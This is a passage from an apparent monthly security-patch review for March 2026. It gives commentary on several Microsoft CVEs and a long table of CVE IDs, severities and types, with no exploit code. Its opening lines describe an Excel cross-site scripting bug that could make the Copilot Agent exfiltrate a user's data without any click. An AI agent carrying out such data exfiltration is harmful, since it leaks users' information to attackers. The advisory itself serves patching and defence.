vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
